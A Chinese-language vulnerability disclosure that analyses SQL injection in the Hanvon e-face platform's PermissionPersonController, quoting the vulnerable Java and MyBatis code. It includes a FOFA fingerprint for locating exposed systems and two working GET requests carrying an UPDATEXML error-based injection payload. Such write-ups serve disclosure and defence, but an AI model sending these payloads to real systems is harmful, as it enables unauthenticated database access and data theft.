汉王e脸通综合管理平台 PermissionPersonController 多个SQL注入漏洞


漏洞简介

汉王e脸通综合管理平台的 PermissionPersonController 接口多个方法存在 SQL注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。

影响版本

v1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

queryDoorsByUserId

直接看 PermissionPersonController 里关于 queryDoorsByUserId 的实现

@RequestMapping(
        value = {"queryDoorsByUserId.do"},
        method = {RequestMethod.GET}
    )
    @ResponseBody
    public RequestJson queryDoorsByUserId(@RequestParam(required = false) Integer page, @RequestParam(required = false) Integer pageSize, @RequestParam(required = false) Integer employeeId, @RequestParam(required = false) String doorName, @RequestParam(required = false) String order, @RequestParam(required = false) String columnKey) {
        RequestJson result = new RequestJson();
        ControlInfoParam record = new ControlInfoParam();

        try {
            if (page == null) {
                page = Constants.DEFAULT_START_PAGE_INDEX;
            }

            if (pageSize == null) {
                pageSize = Constants.PAGE_SIZE;
            }

            record.setColumnKey(columnKey);
            record.setOrder(order);
            record.setEmployeeId(employeeId == null ? 0 : employeeId);
            record.setDoorName(doorName);
            PageHelper.startPage(page, pageSize);
            List<DoorInfoVO> doorInfoVOS = this.accessPermissionService.queryDoorsByUserId(record);
            PageInfo<DoorInfoVO> info = new PageInfo(doorInfoVOS);

和 汉王e脸通综合管理平台 queryDoorInfoList.do SQL注入漏洞 处理逻辑差不多,直接看对应的 mapper xml文件 AccessPermissionInfoDao.xml

<select id="queryDoorsByUserId" resultType="com.hanvon.iface.tpm.access.DoorInfoVO">
        SELECT adi.id id,adi.name name,d.sz_name controlName
        FROM `access_door_info` adi
        INNER JOIN  `dev_device` d ON d.ng_id = adi.DEVICE_CONTROL_ID
        INNER JOIN `access_permission_door` apd ON apd.`DOOR_ID` = adi.id
        INNER JOIN `access_permission_employee` ape ON ape.`PERMISSION_ID` = apd.`PERMISSION_ID`
        WHERE 1=1
        <if test="record.employeeId!=null">
            AND ape.EMPLOYEE_ID = #{record.employeeId}
        </if>
        <if test="record.doorName!=null">
            AND adi.NAME LIKE CONCAT('%',#{record.doorName}, '%')
        </if>
        GROUP BY adi.id
        <if test="record.order != null and record.order != '' and record.columnKey!=null">
        ORDER BY ${record.columnKey} ${record.order}
        </if>
    </select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。

queryUsersByDoorId

漏洞复现

queryDoorsByUserId

GET /manage/accessPermissionPerson/queryDoorsByUserId.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&order=DESC HTTP/1.1
Host: hanvon.mrxn.net

利用报错注入获取数据版本号

queryUsersByDoorId

GET /manage/accessPermissionPerson/queryUsersByDoorId.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357))&order=DESC HTTP/1.1
Host: hanvon.mrxn.net

利用报错注入获取数据版本号


手机扫码阅读

普华Powerpms GetFilesData SQL注入漏洞

汉王e脸通综合管理平台 resourceUploadFile.do 任意文件上传漏洞

评 论